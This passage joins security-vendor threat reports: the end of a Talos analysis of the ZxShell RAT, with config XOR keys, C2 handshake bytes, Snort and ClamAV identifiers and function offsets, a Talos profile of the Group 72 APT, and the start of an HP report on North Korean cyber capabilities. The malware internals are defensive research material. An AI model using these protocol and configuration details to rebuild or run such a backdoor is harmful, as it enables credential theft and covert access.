3.21, the configuration info is xor encoded with 0x85. This configuration info can be changed with a tool included in the ZxShell package. In versions 3.22 and 3.39 the routine changes. The new xor encoding byte is 0x5B. The data is stored in the last 0x100 bytes of the file. The first 8 bytes of data are static. Then there is the dll install name, the domain, and the port. Extracted URL Analysis Knowing the obfuscation routines for this data we wrote a script to extract the URLs / IPs and ports stored. The most common ports used are, 80, 1985, 1986, and 443. 1985 is the default port for the malware, 1986 is the lazy variation of that port. Port 80 and 443 are the default ports for HTTP and HTTPS traffic. The next most common is port 53. This is used in some of the newer 3.22 and 3.39 samples. After that, the count for each port starts declining sharply. The choices are interesting though, many correspond to what looks like the birth year of the controller (ie. years in the late 1980s and early 1990s), and others seem to match what year the malware was launched in (ie. in the 2000s, relatively close to the current year). Since this malware dates back to around 2004, there are many samples containing CNC URLs from the 3322.org page. This page used to offer no-ip type hosting and was widely used by malware authors. So much so that Microsoft did a takedown in 2012. A similar service, vicp.net, is also seen in many of the domains. In the malware, if a domain is configured, it will retrieve domain.tld/myip.txt. This file contains a list of IP addresses for the infected machine to connect back to. Otherwise, if an IP address is configured, it will connect directly to that IP address. Cloning the ZxShell Server We have written a simple C++ ZxShell Server that implements the communication and the handshake for the version 3.10 and 3.20 of the ZxShell DLL. The implementation is quite simple: After the handshake, 2 threads that deal with data transfer are spawned. Here we have some screenshots that show the Server and the ZxShell Keylogger in action: Our server has accepted a connection from a remote host The ZxShell keylogger has captured 2 user passwords(gmail.com and amazon.com) The last image shows a very interesting feature of the ZxShell keylogger: once installed and activated, the keylogger is able to catch each password that the user inserts in the login box of each website (like Google, Amazon and so on ). This makes the keylogger a perfect weapons for the attackers. They will be able to steal and resell in the underground market the sensitive data of each victim. Conclusion Advanced persistent threats will remain a problem for companies and organizations of all sizes, especially those with high financial or intellectual property value. Group 72 s involvement in Operation SMN is another example of what sort of damage that can be done if organizations are not diligent in their efforts to secure their networks. ZxShell is one sample amongst several tools that Group 72 used within their campaign. ZxShell is a sophisticated tool employed by Group 72 that contains all kinds of functionality. Its detection and removal can be difficult due to the various techniques used to conceal its presence, such as disabling the host anti-virus, masking its installation on a system with a valid service name, and by masking outbound traffic as originating from a web browser. While other techniques are also utilized to conceal and inhibit its removal, ZxShell s primary functionality is to act as a Remote Administration Tool (RAT), allowing the threat actor to have continuous backdoor access on to the compromised machine. As our analysis demonstrates, ZxShell is an effective tool that can be ultimately used to steal user credentials and other highly valuable information. The threat posed by ZxShell to organizations is one that cannot be ignored. Organizations with high financial or intellectual property value should take the time to ensure their security requirements are met and that employee s are educated about the security threats their organizations face. For additional information, please see our blog post. Protecting Users from These Threats Advanced Malware Protection (AMP) is ideally suited to detect the sophisticated malware used by this threat actor. CWS or WSA web scanning prevents access to malicious websites, including watering hole attacks, and detects malware used in these attacks. The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors. ESA can block spear phishing emails sent by threat actors as part of their campaign. Appendix A: Snort Rules Initial connection from the infected computer s perspective -- after it connects to the controller RECV: 85190000250400000000404000000000 SEND: 86190000040100006666464000000000 RECV: 4edf9340780100000000000000000000 SEND: 00000000000000000000000000000000 The rules are on the first 8 bytes of the first two packets. They are hard coded in the binaries. The rest of the bytes are variable (for example, 66664640 is a floating point version number of ZxShell). Snort rules: sid:32180 sid:32181 These rules have been released in our community ruleset and can be downloaded and used directly, or via pulledpork from Snort.org Appendix B: ClamAV Signatures Win.Trojan.ZxShell-11 Win.Trojan.ZxShell-12 Win.Trojan.ZxShell-13 Win.Trojan.ZxShell-14 Win.Trojan.ZxShell-15 Win.Trojan.ZxShell-16 Win.Trojan.ZxShell-17 Win.Trojan.ZxShell-18 Win.Trojan.ZxShell-19 Win.Trojan.ZxShell-20 Win.Trojan.ZxShell-21 Win.Trojan.ZxShell-22 Win.Trojan.ZxShell-23 Win.Trojan.ZxShell-24 Win.Trojan.ZxShell-25 Win.Trojan.ZxShell-26 These signatures are available within the ClamAV database. Please run freshclam to ensure you stay updated with the latest coverage. Appendix C: List of Memory Offsets for Some ZxShell Functions Here s a list for some ZxShell functions for sample SHA256: 1eda7e556181e46ba6e36f1a6bfe18ff5566f9d5e51c53b41d08f9459342e26c: FUNCTION NAME BRIEF DESCRIPTION OFFSET ZxGetLibAndProcAddr ZxShell GetProcAddress implementation 0x12CDA CopyMemoryFromNewMsvcrt ZxShell memory copy routine 0x12C4C ServiceExists Get if a service is installed in the system or not 0x0A7C7 ProcessScCommand ZxShell command implementation 0x0E3EF AnalyseAndLoadPlugins Parse the installed plugin list and load each one of them 0x0127B7 DeleteAndLogPlugin Delete a corrupted plugin and log the problem 0x012597 KeyloggerThread ZxShell keylogger implementation 0x0D591 GetIpListAndConnect Analyse the IP list inside the ZxShell PE and tries to connect 0x011496 BuildTargetIpListStruct Build remote server Ip list structure 0x11419 DoHandshake Perform initial connection handshake 0xB8E8 GetLocalPcDescrStr Build a string containing the target workstation data 0x0B627 MainConnectionIo ZxShell main connection I/O routine 0x1126C ReceiveCommandData Receive each byte from the socket until a newline char 0x016DF ProcessCommand Main ZxShell command processing routine 0x10C2B Appendix D: Other Collateral Here is a non-exhaustive list of ZxShell samples that were analyzed for this report. Here is a list of Domains organized by port. Tags: APT, Group 72, malware, Operation SMN, security, SMN, Talos, threats Threat Spotlight: Group 72 This post is co-authored by Joel Esler, Martin Lee and Craig Williams Everyone has certain characteristics that can be recognised. This may be a way of walking, an accent, a turn of phrase or a style of dressing. If you know what to look for you can easily spot a friend or acquaintance in a crowd by knowing what characteristics to look for. Exactly the same is true for threat actors. Each threat actor group may have certain characteristics that they display during their attack campaigns. These may be the types of malware that they use, a pattern in the naming conventions of their command and control servers, their choice of victims etc. Collecting attack data allows an observer to spot the characteristics that define each group and identify specific threat actors from the crowd of malicious activity on the internet. Talos security and intelligence research group collects attack data from our various telemetry systems to analyse, identify and monitor threat actors through their different tactics, techniques, and procedures. Rather than give names to the different identified groups, we assign numbers to the threat actors. We frequently blog about significant attack campaigns that we discover, behind the scenes we integrate our intelligence data directly into our products. As part of our research we keep track of certain threat actor groups and their activities. In conjunction with a number of other security companies, we are taking action to highlight and disrupt the activities of the threat actors identified by us as Group 72. Group 72 is a long standing threat actor group involved in Operation SMN, named Axiom by Novetta. The group is sophisticated, well funded, and possesses an established, defined software development methodology. The group targets high profile organizations with high value intellectual property in the manufacturing, industrial, aerospace, defense, media sectors. Geographically, the group almost exclusively targets organizations based in United States, Japan, Taiwan, and Korea. The preferred tactics of the group include watering-hole attacks, spear-phishing, and other web-based tactics. The tools and infrastructure used by the attackers are common to a number of other threat actor groups which may indicate some degree of overlap. We have seen similar patterns used in domain registration for malicious domains, and the same tactics used in other threat actor groups leading us to believe that this group may be part of a larger organization that comprises many separate teams, or that different groups share tactics, code and personnel from time to time. It is possible that Group 72 has a vulnerability research team searching for 0-day vulnerabilities in Windows. The group is associated with the initial attack campaigns utilising exploits for the following vulnerabilities CVE-2014-0322 and CVE-2012-4792 . We have also observed them using SQL injection as part of their attacks, and exploits based on CVE-2012-1889 and CVE-2013-3893. Frequently the group deploys a remote access trojan (RAT) on compromised machines. These are used both to steal data and credentials from compromised machines, and to use the machine as a staging post to conduct attacks against further systems on the network, allowing the attackers to spread their compromise within the organization. Unlike some threat actors, Group 72 does not prefer to use a single RAT as part of their attacks. We have observed the group to use the following RAT malware: Gh0st RAT (aka Moudoor) Poison Ivy (aka Darkmoon) HydraQ (aka 9002 RAT aka McRAT aka Naid) Hikit (aka Matrix RAT aka Gaolmay) Zxshell (aka Sensode) DeputyDog (aka Fexel) Using the kumanichi and moon campaign codes Derusbi PlugX (aka Destroy RAT aka Thoper aka Sogu) HydraQ and Hikit, according to our data are unique to Group 72 and to two other threat actor groups. While their operational security is very good, patterns in their domains can be identified such as seemingly naming domains after their intended victim. We have observed domains such as companyname.attackerdomain.com and companyacronym.attackerdomain.com. We have also observed similar patterns in the disposable email addresses used to register their domains. These slips, among others, allow us to follow their activities. Intriguingly we have observed the same email address being used in the activities of this and two other threat actor groups. This may suggest that these three groups are indeed one unit, or possibly hint at shared staff or ancillary facilities. We will post a follow up with more technical detail in the coming days. ClamAV names and Snort Signature IDs detecting Group 72 RAT malware: Gh0stRat Win.Trojan.Gh0stRAT, 19484, 27964 PoisonIVY / DarkMoon Win.Trojan.DarkMoon, 7816, 7815, 7814, 7813, 12715, 12724 Hydraq Win.Trojan.HyDraq, 16368, 21304 HiKit Win.Trojan.HiKit, 30948 Zxshell Win.Trojan.Zxshell, 32180, 32181 DeputyDog Win.Trojan.DeputyDog, 28493, 29459 Derusbi Win.Trojan.Derusbi, 20080 Protecting Users Against These Threats Advanced Malware Protection (AMP) is ideally suited to detect the sophisticated malware used by this threat actor. CWS or WSA web scanning prevents access to malicious websites, including watering hole attacks, and detects malware used in these attacks. The Network Security protection of IPS and NGFW have up-todate signatures to detect malicious network activity by threat actors. ESA can block spear phishing emails sent by threat actors as part of their campaign. Tags: APT, malware, Operation SMN, security, SMN, Talos, threats Companion report HP Security Briefing Episode 16, August 2014 Profiling an enigma: The mystery of North Korea s cyber threat landscape HP Security Research Table of Contents Introduction .................................................................................................................................................... 3 Research roadblocks ...................................................................................................................................... 4 Ideological and political context .................................................................................................................... 5 Juche and Songun...................................................................................................................................... 5 Tension and change on the Korean Peninsula .......................................................................................... 8 North Korean cyber capabilities and limitations ......................................................................................... 10 North Korean infrastructure.................................................................................................................... 10 An analysis of developments in North Korean cyberspace since 2010 .................................................. 14 North Korean cyber war and intelligence structure ................................................................................ 21 North Korean cyber and intelligence organizational chart ..................................................................... 26 North Korea s cyber doctrine, strategies and goals ............................................................................... 26 Cyber warfare operations ........................................................................................................................ 27 Gaming for profit and pwnage ................................................................................................................ 29 Intelligence and counterintelligence ...................................................................................................... 29 Psychological operations ........................................................................................................................ 32 Electronic warfare ................................................................................................................................... 38 Training cyber warriors ........................................................................................................................... 39 Important political and military ties ............................................................................................................ 42 China ........................................................................................................................................................ 42 Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. The only warranties for HP products and services are set forth in the express warranty statements accompanying such products and services. Nothing herein should be construed as constituting an additional warranty. HP shall not be liable for technical or editorial errors or omissions contained herein. Russia ...................................................................................................................................................... 43 Iran ........................................................................................................................................................... 43 Syria ......................................................................................................................................................... 44 Cuba ......................................................................................................................................................... 44 Timeline of significant North Korean cyber activity .................................................................................... 45 Patterns in the noise: cyber incidents attributed to North Korean actors .................................................. 47 DarkSeoul ................................................................................................................................................ 50 WhoIs Team ............................................................................................................................................. 52 IsOne ........................................................................................................................................................ 55 Kimsukyang ............................................................................................................................................. 57 New Romantic Cyber Army Team / Hastati ............................................................................................. 57 Malware summary........................................................................................................................................ 58 Analysis ........................................................................................................................................................ 60 Summary ...................................................................................................................................................... 61 HP Security Research recommendations..................................................................................................... 62 Appendix A WHOIS records ........................................................................................................................ 64 Appendix B Sites found on North Korean IP space.................................................................................... 72 Appendix C Analysis of DarkSeoul Dropper .............................................................................................. 74 Learn more at .......................................................................................................................................... 75 Episode 16 Thank you for subscribing to Episode 16 of the HP Security Briefing. In this edition we discuss the cyber landscape within the Democratic People Republic of Korea. Introduction The Democratic People s Republic of Korea (DPRK), known in the West as North Korea, is a unique country with a military-focused society and an unconventional technology infrastructure. While North Korea was formerly on the U.S. list of state sponsors of terrorism, it was removed in 2008. 1 However, due to North Korea s hostility toward other nations, its pursuit of nuclear weapons, and human rights violations against its own citizens, the United Nations and many Western entities have placed sanctions and embargoes against North Korea.2 3 For example, U.S. export laws forbid the sale of dual-use technologies, or those that can be used or repurposed for both civilian and military use, to North Korea.4 5 Additionally, the U.S. has a military alliance with the Republic of Korea (ROK), known in the West as South Korea, North Korea s primary target of conflict.6 Due to North Korea s global interactions, its cyber warfare capabilities are of particular interest to the U.S. According to a 2009 report by Major Steve Sin, an intelligence analyst at U.S. Forces Korea, North Korean hackers have successfully penetrated U.S. defense networks more frequently than any other country that has targeted U.S. defense assets.7 While Major Sin may have been overly optimistic about North Korea s abilities, it is clear that they should not be underestimated. Frank Cilluffo, co-director of the Cyber Center for National and Economic Security at George Washington University, testified before Congress that North Korea s cyber capability "poses an important 'wild card' threat, not only to the United States but also to the region and broader international stability "8 In an April 2014 testimony given to the House Armed Services Committee, General Curtis M. Scaparrotti noted that North Korea remains a significant threat to United States interests, the security of South Korea, and the international community due to its willingness to use force, its continued development and proliferation of nuclear weapon and longrange ballistic missile programs, and its abuse of its citizens human rights, as well as the legitimate interests of its neighbors and the international community. Scaparrotti stressed that While North Korea s massive conventional forces have been declining due to aging and lack of resources North Korea is emphasizing the development of its asymmetric capabilities. North http://thecable.foreignpolicy.com/posts/2010/05/25/why_the_state_department_wont_put_north_korea_back_on_the_terror_list http://www.sanctionswiki.org/North_Korea https://www.fas.org/irp/offdocs/eo/eo-13551.pdf http://www.foxnews.com/world/2012/04/17/un-computer-shipment-to-north-korean-regime-violates-us-manufacturers-ban/ http://www.state.gov/strategictrade/overview/ http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf http://www.nextgov.com/defense/whats-brewin/2009/07/north-koreas-hackers-in-a-luxury-hotel/51330/ http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/3 Korea s asymmetric arsenal includes an active cyber warfare capability. 9 While one would expect the regime s digital infrastructure to also suffer from aging or lack of resources, these factors do not take away from their technical abilities to wage cyber warfare. While the U.S. views North Korea s cyber warfare program as the regime s foray into modern asymmetrical warfare, South Korea views the regime s cyber capabilities as a terroristic threat, -a build-up for an impending multifaceted attack. It is important to note that, to date, no such attack has occurred. According to a report written by Captain Duk-Ki Kim, Republic of Korea Navy officer and Ph.D. the North Korean regime will first conduct a simultaneous and multifarious cyber offensive on the Republic of Korea s society and basic infrastructure, government agencies, and major military command centers while at the same time suppressing the ROK government and its domestic allies and supporters with nuclear weapons. 10 South Korea s view of North Korea as a terroristic threat may be an attempt to downgrade North Korea politically, since South Korea does not recognize the regime as a legitimate state.11 South Korean reports also claim that North Korea s premier hacking unit, Unit 121, trails Russia and the U.S. as the world s third largest cyber unit. 12 While this claim may be exaggerated, in 2012, South Korean reports estimated North Korea s hacker forces at around 3000 personnel. In a July 2014 report from South Korea s Yonhap News Agency, that figure was upgraded to 5900 hacker elite.13 We must stress that although these claims have not been corroborated, South Korea has taken the regime s cyber threats very seriously and is reportedly training 5000 personnel to defend against North Korean cyber attacks.14 Obtaining details on North Korea s cyber warfare capabilities is not an easy task. This paper will examine the known cyber capabilities of North Korea s regime and how the country maintains secrecy in these matters. Through information obtained via open source intelligence (OSINT), we will present what is known about North Korea s cyber warfare and supporting intelligence and psychological operations capabilities. Research roadblocks The following conditions proved to be research roadblocks when gathering intelligence regarding North Korea s cyber warfare capabilities: Much of the intelligence available on North Korea is dated and may not accurately reflect the regime s current capabilities. Much of the intelligence available on North Korea comes from U.S. or South Korean military or agency reports. These reports omit details that are likely classified, such as specific IP addresses and individual actor information. While South Korea is an ally of the United States, its reports on North Korean cyber activity potentially contain incomplete or biased information. Cultural factors that stem http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.atimes.com/atimes/Korea/GA04Dg01.html http://www.koreaherald.com/view.php?ud=20130321000980 http://www.theregister.co.uk/2014/07/07/north_korea_employs_6000_leet_hackers_source_claims/ http://www.theregister.co.uk/2014/07/07/north_korea_employs_6000_leet_hackers_source_claims/ from a history of tension and conflict between the two nations may skew perception and make objectivity difficult. 15 16 North Korea s Internet infrastructure and the regime s strict control over its use ensures that there are no rogue actors and that all officially sanctioned actors exercise careful OPSEC and PERSEC practices in order to prevent inadvertent information leaks. In other words, there was no significant identifying information in the form of an OSINT trail left behind by the actors. This hinders collection of original, actionable threat intelligence and individual actor attribution. North Korea is well-isolated from the outside world, and its strong intelligence and psychological operations presence effectively creates confusion via counterintelligence and disinformation about the regime s capabilities.17 For this reason, any official reports emanating from North Korea must be taken with a grain of salt. This also hinders attempts to obtain original, actionable threat intelligence. Ideological and political context In order for Westerners to understand the North Korean mindset, it is necessary to examine the key components of North Korean political and ideological thought. It is also necessary to provide a brief explanation of how North Korea and South Korea view one another, in order to understand the basis for conflict between the two. Juche and Songun North Korea has two primary ideologies that provide context for the regime s motivations and activities: juche (ju-cheh) and songun (sun-goon). Juche is the official political ideology of North Korea. It was instituted in 1972 and is based on the ideologies of Kim Il-Sung, the founder of the DPRK. Juche emphasizes self-reliance, mastering revolution and reconstruction in one s own country, being independent of others, displaying one s strengths, defending oneself, and taking responsibility for solving one s own problems. North Korea s air-gapped intranet, described below, exemplifies this philosophy in the country s cyber infrastructure. The juche philosophy explains North Korea s disdain for outside cultural and political influence. Juche challenges North Koreans to contribute to the regime s chaju (ja-ju), a concept of national sovereignty and independence.18 The regime s greatest fear is internal dissent and resulting destabilization.19 20 In a June 2014 Reddit AMA session, Dr. Andrei Lankov, an expert on North Korean culture and society, noted there are also serious signs of public alienation and discontent. And I cannot rule out a public outbreak of such discontent in the near future. Of course, if it happens, it will have a serious impact on the government. 21 Despite North Korea s strong conviction in juche, the regime collaborates with and receives support from other nations. However, due to this deep-seated http://www.businessinsider.com/did-kim-jong-un-execute-his-ex-girlfriend-2013-8 http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10554198/North-Koreas-invisible-phone-killer-dogs-and-other-such-storieswhy-the-world-is-transfixed.html http://edition.cnn.com/2014/04/01/world/north-korea-provocation/index.html?iid=article_sidebar http://www.stanford.edu/group/sjeaa/journal3/korea1.pdf http://belfercenter.ksg.harvard.edu/publication/20269/keeping_kim.html http://www.buzzfeed.com/miriamberger/the-world-as-viewed-by-north-koreas-propaganda-machine http://www.reddit.com/r/NorthKoreaNews/comments/296ryd/i_am_dr_andrei_lankov_i_studied_in_north_korea/ ideology, it is doubtful that North Korea fully trusts these apparent allies.22 Later in this document, we will show that North Korea relies heavily on China for Internet access. North Korea also collaborates with China and Russia to train its cyber warriors and has longstanding political and military relationships with several nations. Songun is North Korea military first doctrine. Songun emphasizes the priority of the military in resource allocation and political and economic affairs. 23 This doctrine stems from the belief that the military is vital for preservation of chaju.24 Understanding songun mindset gives context for this potential threat actor s motivations. According to a 2013 Congressional report, the strategy established under former leader Kim Jong-Il focused on internal security, coercive diplomacy to compel acceptance of its diplomatic, economic and security interests, development of strategic military capabilities to deter external attack, and challenging South Korea and the U.S.-South Korean alliance."25 Songun is North Korea North Korea s songun permeates the lives of all North Korean citizens. Article 58 of the North Korean Constitution states that the nation should base itself on a nationwide defense system that includes all people.26 North Korea, with a population of 25 million, has an active duty force of 1.19 million personnel, the fourth largest in the world. The country s reserve and paramilitary units comprise 7.7 million additional personnel.27 In other words, over a third of the country population serves in a military or paramilitary capacity. military first doctrine. Songun emphasizes the priority of the military in resource allocation and political and economic affairs. Understanding this mindset gives context for a potential threat actor motivations. Some North Korean youth aged 7-13 are inducted into the Korean Children s Union. The Korean Children s Union is responsible for indoctrinating youths who pledge to build up their strength to later defend the regime.28 http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf http://www.strategicstudiesinstitute.army.mil/pdffiles/pub728.pdf http://www.iar-gwu.org/sites/default/files/articlepdfs/DeRochie_-_The_Driving_Factor.pdf http://www.defense.gov/news/newsarticle.aspx?id=119924 http://asiamatters.blogspot.co.uk/2009/10/north-korean-constitution-april-2009.html http://edition.cnn.com/video/data/2.0/video/international/2014/04/29/north-korea-military-numbers.cnn.html http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threateningnuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490 Figure 1 A group of North Korean children being inducted into the Korean Children s Union.29 Figure 2 Members of the Korean Children s Union with the regime s leader Kim Jong Un.30 http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threateningnuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490 Children aged 14-16 can begin military training as members of the Young Red Guards, a paramilitary unit. Beginning at age 17, North Koreans are eligible to join the Reserve Military Training Unit.31 The Reserve Military Training Unit forms the core of North Korea s reserves and is typically assigned to the front or regional defense in wartime.32 The youngest age at which a citizen can be conscripted for active duty is unclear; reported ages range from 18-20. Youths can volunteer for active duty service at age 16 or 17.33 The Worker-Peasant Militia, or Red Guards, includes males ages 17-60 and unmarried females ages 17-30 who are not part of active duty units or the Reserve Military Training Unit.34 The regime has an impressive number of conventional weapons, considering the nation s small land area and population size.35 According to statistics released by CNN in 2014, North Korea ground arsenal includes 4100 tanks, 2100 armored vehicles, and 8500 pieces of field artillery. The regime s sea weaponry includes 70 submarines, 420 patrol combatants, and 260 amphibious landing craft. Their airpower includes 730 combat aircraft, 300 helicopters, and 290 transport aircraft. While the limits of the regime s ballistic missile program are unknown, North Korea is thought to have fewer than 100 short-range missiles and fewer than 100 medium to long-range missiles.36 However, in recent years, North Korea has suffered oil,37 fuel,38 electricity,39 and food40 shortages. Without aid from another entity, the regime does not have sufficient resources to maintain and sustain the majority of its weapons and associated personnel for rapid deployment or prolonged combat. Tension and change on the Korean Peninsula Tension between North and South Korea has continued well past the armistice meant to end the Korean War. Neither nation recognizes the other as a legitimate state. South Korea s constitution legally defines South Korean territory as the entire Korean peninsula and its adjacent islands, with North Korea being a part of South Korea. 41 North Korea also claims to be the sole government of the Korean Peninsula.42 Each country s claim of sovereignty and refusal to acknowledge the other as a legitimate state creates the condition for perpetual conflict. North Korea s negative sentiment towards the U.S. stems from two major factors: the U.S. South Korea military alliance and North Korea s perception that the U.S. is imperialistic and prone to exploitative capitalism. 43 http://www.dailymail.co.uk/news/article-2307937/North-Korea-Haunting-images-indoctrination-ceremony-communist-cult-leaders-threateningnuclear-war-poisoning-generation.html?ITO=1490&ns_mchannel=rss&ns_campaign=1490 http://www.globalsecurity.org/military/world/dprk/army.htm http://www.globalsecurity.org/military/world/dprk/army.htm https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=6&ved=0CFkQFjAF&url=http%3A%2F%2Fwww.childsoldiers.org%2Fuser_uploads%2Fpdf%2Fkoreademocraticpeoplesrepublicof2639438.pdf&ei=fcyIU_uqCMas0QXUk4DoCw&usg=AFQjCNGOnkQt5ZStqxfc tKrUY-5IWYSH0A&sig2=ivQLF6lHkSO8Yx9O9VlO4g&bvm=bv.67720277,d.d2k&cad=rja http://www.globalsecurity.org/military/world/dprk/army.htm http://www.globalfirepower.com/ http://edition.cnn.com/video/data/2.0/video/international/2014/04/29/north-korea-military-numbers.cnn.html http://www.presstv.com/detail/2013/04/23/299897/facing-food-and-oil-shortages-north-korea-turns-to-iran/ http://english.chosun.com/site/data/html_dir/2014/07/02/2014070201995.html http://www.rfa.org/english/news/korea/electricity-10212013160033.html http://edition.cnn.com/2013/04/09/business/north-korea-economy-explainer/ http://www.atimes.com/atimes/Korea/GA04Dg01.html http://teacher.scholastic.com/scholasticnews/indepth/north_korea/north-south/index.asp?article=north_korea http://cns.miis.edu/other/pinkston_strategic_insights_sep06.pdf In recent years, two primary factors have heavily influenced the current state of North Korea relations with South Korea and her allies: the rise of the regime s leader Kim Jong Un and the inauguration of South Korean president Park Guen Hye. Kim Jong Un officially rose to power in April 2012, following the death of his father Kim Jong Il in December 2011. While his age remained a mystery for quite some time, it was later revealed that he was born in January 1983, making him age 31 at present. This makes Kim Jong Un the world s youngest leader of an established nation.44 The young leader s rise to power brought about several changes in North Korea. First, Kim Jong Un s personal life is more public and more extravagant than that of his father. Unlike his father, the young Kim is often accompanied by his wife when making public appearances.45 Second, the young Kim, who is more high-tech than his predecessor, is reported to have an affinity for luxury items46 and is an avid gamer and basketball fan.47 Third, Kim Jong Un is more totalitarian than his father. Following his rise to power, the regime reportedly expanded its labor camps, and more military resources were allocated to target those attempting to defect. Kim also executed his own uncle, a high-ranking official who did not share his ideals. These moves indicate the regime s priority to deter internal destabilization and dissent, which is perceived to be a greater threat than outside adversity. According to Phil Robertson, deputy Asia director at Human Rights Watch, The government now recognizes that the accounts of escaping North Koreans reveal Pyongyang s crimes so it is doing what it can to stop people from fleeing. Under Kim Jong Un s rule, the regime has stepped up its nuclear materials production, and the propaganda distributed by state media has become more menacing.49 The regime s response to perceived threats has also become more volatile. Christian Whiton, a former deputy envoy to North Korea, noted that following Kim Jong Un s rise to power, regime still acts in a very belligerent manner, but it seems less predictable, and more random. Ellen Kim, assistant director of the Korea Chair at the Center for Strategic and International Studies, assessed the situation thusly: Since [Kim Jong Un] took power he has purged almost all of his elder guardians ... and filled his surroundings with new faces. We are in a situation where we are learning about him a little bit every day through his unpredictable behavior and actions, which is why the current situation with North Korea is a lot more dangerous than before. 50 The regime recent reaction to an upcoming film supports these statements. The plot for the comedy film Interview follows two talk show hosts who are asked to assassinate Kim Jong Un. The regime even sent a complaint about the movie to the UN.51 In response to the film, a North Korean official stated, The enemies have gone beyond the tolerance limit in their despicable moves to dare hurt the dignity of the supreme leadership. The official referred to the movie as "the most undisguised terrorism and a war action to deprive the service personnel and people of the DPRK of their mental mainstay and bring down its social system. The official also issued a threat: If the U.S. administration connives at and patronizes the screening of the film, it will invite a strong and merciless countermeasure. 52 This reaction demonstrates North Korea s priority of preserving the http://www.theatlantic.com/international/archive/2012/12/kim-jong-uns-age-is-no-longer-a-mystery/265983/ http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10522136/Kim-Jong-un-10-ways-North-Koreas-Dear-Leader-is-different.html http://www.huffingtonpost.com/2014/02/18/north-korea-luxury-goods_n_4808823.html http://nypost.com/2011/12/20/kims-007-nut-kid-in-charge/ http://www.hrw.org/news/2014/01/21/north-korea-kim-jong-un-deepens-abusive-rule http://www.telegraph.co.uk/news/worldnews/asia/northkorea/10522136/Kim-Jong-un-10-ways-North-Koreas-Dear-Leader-is-different.html http://edition.cnn.com/2014/04/01/world/north-korea-provocation/index.html?iid=article_sidebar http://www.northkoreatech.org/2014/07/10/dprk-takes-the-interview-movie-complaint-to-the-un/ http://edition.cnn.com/2014/06/25/world/asia/north-korea-the-interview-reaction/index.html?iid=article_sidebar regime s self-perceived dignity in the global arena and its intolerance of any disrespect directed at the Kim family. While tensions between North and South Korea have persisted since the Korean War, these tensions escalated following the 2013 inauguration of South Korea s current president, Park Geun Hye. Her platform, in her words, is as follows: North Korea must keep its agreements made with South Korea and the international community to establish a minimum level of trust, and second there must be assured consequences for actions that breach the peace. To ensure stability, trustpolitik should be applied consistently from issue to issue based on verifiable actions, and steps should not be taken for mere political expediency. 53 Shortly after Park s inauguration, North Korea denounced UN Security Council Resolution 2094, which is a resolution strengthening and expanding the scope of United Nations sanctions against the Democratic People s Republic of Korea by targeting the illicit activities of diplomatic personnel, transfers of bulk cash, and the country s banking relationships, in response to that country s third nuclear test on 12 February [2013]. 54 North Korea also responded strongly to joint U.S.-South Korea military exercises in March 2013, as is noted later in this paper.55 North Korean cyber capabilities and limitations North Korean infrastructure North Korea s cyber infrastructure is divided into two major parts: an outward-facing Internet connection and a regime-controlled intranet. North Korea s outward-facing Internet connection is only available to select individuals and is closely monitored for any activity that is deemed antiregime. Individuals using the outward-facing Internet connection must be authorized. In 2013, Jean H. Lee, the Associated Press bureau chief in Pyongyang, stated that foreigners visiting North Korea are allowed Internet access with no firewalls.56 Common citizens are limited to using the Kwangmyong (gwang me-young), a nationwide intranet with no access to the world outside North Korea. 57 According to Lee, Kwangmyong allows citizens access to the state media, information sources that are vetted by the government, and picked and pulled from the Internet and posted to their intranet site. 58 As of May 2013, North Korea had only one Internet caf 59 A 2003 report from the Office of the National Counterintelligence Executive stated that North Korea Internet was the only place in North Korea for the public to access the Internet and that foreigners were allowed to access the Internet from this caf .60 Whether citizens are allowed to access the Internet from this location is unknown. Star Joint Venture Co. is responsible for providing North Korea s Internet access. Star Joint Venture Co. was established by the Post and Telecommunications Corporation in cooperation with Loxley http://www.ncnk.org/resources/briefing-papers/all-briefing-papers/an-overview-of-south-korea2019s-dprk-policy http://www.un.org/News/Press/docs/2013/sc10934.doc.htm http://www.ncnk.org/resources/briefing-papers/all-briefing-papers/an-overview-of-south-korea2019s-dprk-policy http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ http://www.computerworld.com/s/article/9177968/North_Korea_moves_quietly_onto_the_Internet?taxonomyId=18&pageNumber=2 http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ http://www.washingtonpost.com/blogs/worldviews/wp/2013/01/29/north-koreans-shouldnt-count-on-using-the-new-google-maps/ http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf Pacific in Thailand.61 In December 2009, Star Joint Venture became responsible for North Korea Internet address allocation. Previously, Internet access was provided by a German satellite link via Korea Computer Center Europe or via direct connections with China Netcom, which was later merged into China Unicom. 62 By October 2010, North Korea had made its first known direct connection to the Internet, hosting an outward-facing Korean Central News Agency website accessible from the global Internet. 63 However, many of North Korea s globally accessible websites are hosted in other countries. In 2001, South Korean reports indicated that North Korea had joined the International Telecommunications Satellite Organization (INTELSAT).64 As of April 2012, North Korea reportedly used the Intelsat connection, which appeared in border gateway protocol (BGP) announcements.65 Some reports referred to the Intelsat connection as North Korea s backup Internet connection, in case the China Unicom connection fails.66 A March 2013 post on the blog rdns.im showed that North Korea no longer used the Intelsat connection. In the blog post, the author noted his method for proving that The Pirate Bay was not hosted in North Korea. While his analysis of The Pirate 